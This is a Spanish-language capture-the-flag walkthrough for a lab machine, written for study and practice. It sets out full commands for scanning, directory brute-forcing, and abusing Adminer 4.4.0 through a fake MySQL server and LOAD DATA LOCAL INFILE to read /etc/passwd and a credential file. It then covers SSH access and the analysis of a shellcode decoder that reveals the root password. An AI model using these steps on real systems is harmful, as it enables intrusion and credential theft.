Recopilación de información y descubrimiento de servicios
El primer paso en la evaluación del objetivo es el descubrimiento de hosts y servicios. Para identificar la dirección IP del sistema en la red local, se puede utilizar el siguiente comando:
arp-scan -l
Una vez identificada la IP (por ejemplo, 192.168.10.15), se procede a un escaneo de puertos y servicios más detallado:
nmap -sS -sV -T4 -p- 192.168.10.15 -A
Enumeración de directorios y archivos ocultos
Para descubrir recursos web no enlazados, se emplean herramientas de fuerza bruta de directorios. Es crucial probar con diferentes listas y extensiones:
dirb http://192.168.10.15/
dirsearch -u http://192.168.10.15/
Inicialmente, se encontró el script /adminer.php. Sin embargo, una búsqueda más exhaustiva, incluyendo extensiones específicas o diccionarios más completos, reveló archivos adicionales críticos para la explotación:
dirb http://192.168.10.15/ -X .php
dirsearch -u http://192.168.10.15/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
Esta búsqueda adicional expuso el archivo /reminder.php, el cual contenía pistas importantes.
Análisis de la interfaz web y vulnerabilidades
Al acceder al sitio, se observó una página de error de Apache. Además, la página de phpinfo() estaba expuesta. El hallazgo principle fue una interfaz de administración de bases de datos identificada como Adminer versión 4.4.0.
Explotación de Adminer: Método 1 - Servidor MySQL falso para lectura de archivos
Adminer es una herramienta PHP para gestionar bases de datos MySQL/PostgreSQL. Versiones antiguas presentan una vulnerabilidad que permite la lectura arbitraria de archivos del cliente. Para explotarla, se puede emplear un servidor MySQL falso que se comunique con el cliente vulnerable.
Se descarga y ejecuta la herramienta mysql-fake-server:
wget https://github.com/4ra1n/mysql-fake-server/releases/download/0.0.4/fake-mysql-cli-0.0.4.jar
java -jar fake-mysql-cli-0.0.4.jar -p 3308
El ataque funciona en dos modalidades:
- Deserialización de objetos (Java Deserialization): La herramienta puede enviar payloads maliciosos a través de cadenas de gadgets populares como
CB,CC31,CC44, etc. Al intentar explotar esto, se encontraron restricciones del sistema de módulos de Java 9+, generando errores comoIllegalAccessError. Usar una versión antigua de Java 8 puede resolver esto, pero el objetivo seguía cortando la conexión, sugiriendo que el servidor vulnerable podría no ser susceptible a esta cadena de ataques específica. - Lectura de archivos (File Read): Al conectarse con un nombre de usuario especial como
fileread_/etc/passwd, el servidor falso solicitará y recibirá el contenido del archivo/etc/passwddel cliente. Este método sí tuvo éxito.
Explotación de Adminer: Método 2 - Uso de LOAD DATA LOCAL INFILE
Una funcionalidad del cliente MySQL permite que un servidor malicioso solicite archivos locales. Configurando un servidor MySQL real en la máquina de ataque y creando un usuario con permisos de conexión remota:
sudo mysql -u root
CREATE USER 'user_attacker'@'192.168.10.15' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'user_attacker'@'192.168.10.15';
FLUSH PRIVILEGES;
También se debe habilitar la opción local_infile en el servidor:
SET GLOBAL local_infile = true;
Desde la interfaz de Adminer en el objetivo, se inicia sesión con las credenciales del atacante. Luego, se ejecuta la siguiente consulta SQL, la cual obliga al cliente a enviar un archivo de su sistema local:
LOAD DATA LOCAL INFILE '/etc/julian.txt' INTO TABLE test_db.pwned_table FIELDS TERMINATED BY '\n';
Encontrando así credenciales de acceso, como un usuario julian y una contraseña relacionada con la vulnerabilidad MySQL.
Obtención de acceso inicial y escalado de privilegios
Las credenciales obtenidas permitieron acceder por SSH al sistema, obteniendo la flag de usuario. Durante la enumeración post-explotación, se encontraron archivos sospechosos: poc.c y payload.bin. El archivo poc.c era un programa en C que cargaba y ejecutaba el contenido de payload.bin, el cual contenía código de máquina (shellcode).
Compilación y análisis del shellcode
Para compilar el programa con soporte para código de 32 bits y sin protecciones, se necesitan librerías adicionales:
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install gcc-multilib libc6-dev-i386
gcc -m32 -fno-stack-protector -z execstack poc.c -o poc_bin
El binario resultante tenía habilitado PIE (Position Independant Executable), por lo que las direcciones de memoria cambiaban en cada ejecución. Se utilizó GDB para su análisis dinámico:
gdb ./poc_bin
(gdb) b main
(gdb) run
(gdb) disas main
El análisis reveló un bucle de decodificación dentro del shellcode. Se detectaron dos errores críticos en la lógica del shellcode original: el uso incorrecto de lea en lugar de push para manipular la pila, y un salto condicional je cuando debería ser jne, lo que hacía que el bucle se interrumpiera prematuramente. Estos errores causaban un fallo de segmentación.
Reconstrucción y depuración del shellcode corregido
Para entender y corregir el shellcode, se creó un archivo en ensamblador nasm (fixed.nasm) que replicaba su lógica de decodificación, pero con los saltos e instrucciones corregidos. Tras compilarlo:
nasm -f elf32 fixed.nasm
ld -m elf_i386 fixed.o -o decoder
Al ejecutarlo en GDB, el programa generaba un SIGTRAP en la instrucción int3 insertada al final de la rutina xor_eof, que era el punto donde finalizaba la decodificación.
En ese punto de interrupción, se examinó la memoria de la pila, donde residían los datos recién decodificados:
(gdb) x/15s $esp
La inspección mostró una cadena codificada en Base64: U28uLi5Zb3VGaWd1cmVkT3V0SG93VG9SZWNvdmVyVGhpc0h1aD9HR1dQbm9SRQ==. Su decodificación reveló la contraseña final para el usuario root: So…YouFiguredOutHowToRecoverThisHuh?GGWPnoRE.
El acceso como root permitió obtener la flag final, completando el desafío.